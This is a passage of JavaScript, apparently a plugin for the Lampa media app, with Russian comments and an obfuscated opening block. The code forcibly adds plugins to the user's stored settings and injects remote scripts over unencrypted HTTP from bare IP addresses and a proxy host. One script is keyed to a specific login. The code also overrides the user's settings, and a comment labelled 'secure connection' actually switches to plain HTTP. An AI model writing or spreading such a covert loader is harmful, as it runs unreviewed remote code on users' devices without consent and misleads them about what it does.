_0x4be778=parseInt(_0xbd444f(0x15b))/0x1+parseInt(_0xbd444f(0x161))/0x2+parseInt(_0xbd444f(0x166))/0x3+parseInt(_0xbd444f(0x160))/0x4*(-parseInt(_0xbd444f(0x164))/0x5)+-parseInt(_0xbd444f(0x162))/0x6*(parseInt(_0xbd444f(0x165))/0x7)+-parseInt(_0xbd444f(0x15f))/0x8*(-parseInt(_0xbd444f(0x15d))/0x9)+parseInt(_0xbd444f(0x15c))/0xa;if(_0x4be778===_0x20492f)break;else _0x50dafe['push'](_0x50dafe['shift']());}catch(_0x31e58c){_0x50dafe['push'](_0x50dafe['shift']());}}}(_0x36ba,0x38cde),Lampa[_0x3782d6(0x15e)][_0x3782d6(0x163)]='\x62\x79\x6c\x61\x6d\x70\x61'); var script = document.createElement('script'); script.src = injectList[i]; document.head.appendChild(script); } } // принудительная установка must have плагинов function callPlugin(plugin, description, reboot){ var plugins = localStorage.getItem('plugins'); plugins = JSON.parse(plugins) || []; var newPlugin = { author: "@lampa", url: plugin, name: description, status: 1 }; var exists = false; for (var i = 0; i < plugins.length; i++) { if (plugins[i].url === newPlugin.url) { exists = true; break; } } if (!exists) { plugins.unshift(newPlugin); localStorage.setItem('plugins', JSON.stringify(plugins)); var script = document.createElement('script'); script.src = plugin; document.head.appendChild(script); if (reboot) location.reload(); } } // ставим must have плагины callPlugin('http://cub.red/plugin/tracks', 'Плагин заменяет название аудиодорожек и субтитров в плеере, плагин работает только в торрентах.', false); callPlugin('http://cub.red/plugin/etor', 'ТоррСервер и Парсер в Настройках', true); // безопасное соединение Lampa.Storage.set('protocol', 'http'); // переключение серий Lampa.Keypad.listener.follow('keydown', function (e) { var next = (e.code == 427 || e.code == 33); var prev = (e.code == 428 || e.code == 34); var none = !$('.panel--visible .focus').length && Lampa.Controller.enabled().name !== 'select'; if (Lampa.Storage.get('useRemoteTorrent') && Lampa.Activity.active().component == 'torrents' && Lampa.Player.opened()) { //Lampa.Noty.show(e.code); if (prev && none) { Lampa.PlayerPlaylist.prev(); } if (next && none) { Lampa.PlayerPlaylist.next(); } } }); // исправляем ссылку var isOneLink = Lampa.Storage.get('torrserver_use_link'); if (isOneLink == 'two' && Lampa.Storage.get('torrserver_url_two') == '95.215.8.180:9098') { Lampa.Storage.set('torrserver_use_link', 'one'); Lampa.Storage.set('torrserver_url_two', '') } // и тип парсера if (Lampa.Storage.get('parser_torrent_type') == 'torrserver') Lampa.Storage.set('parser_torrent_type', 'jackett'); // подрубаем парсеры, skip, fix var injectList = [ 'https://bylampa.github.io/jackett.js', 'http://193.233.134.21/fix', 'https://iqslgbok.deploy.cx/http://cub.red/plugin/etor' ]; if (Lampa.Storage.get('useSkipButtons')) injectList.push('http://94.103.90.167/skip'); if (Lampa.Storage.get('torrserver_login') == 'lecsus55555') injectList.push('http://94.103.90.167/stable_tv.js'); injectPlugin(injectList); // подрубаем Cinema if (Lampa.Storage.get('useCinemaOnline') == true) callCinema(); if (Lampa.Storage.get('useDurexOnline') == true) callDurex(); } if (window.appready) start(); else { Lampa.Listener.follow('app', function(e) { if (e.type == 'ready') start(); }) } })() /* Настройки - Расширения: Отключить cub.red/tmdb proxy, Временно прописать https://plugin.rootu.top/tmdb.js В настройках остальное сменить основной источник на TMDB */ /* Lampa.Activity.push({ url: '/movie/now_playing?api_key=4ef0d7355d9ffb5151e987764708ce96&language=ru&page=1&email=', title: 'Мои', component: "category_full", page: 1 }); */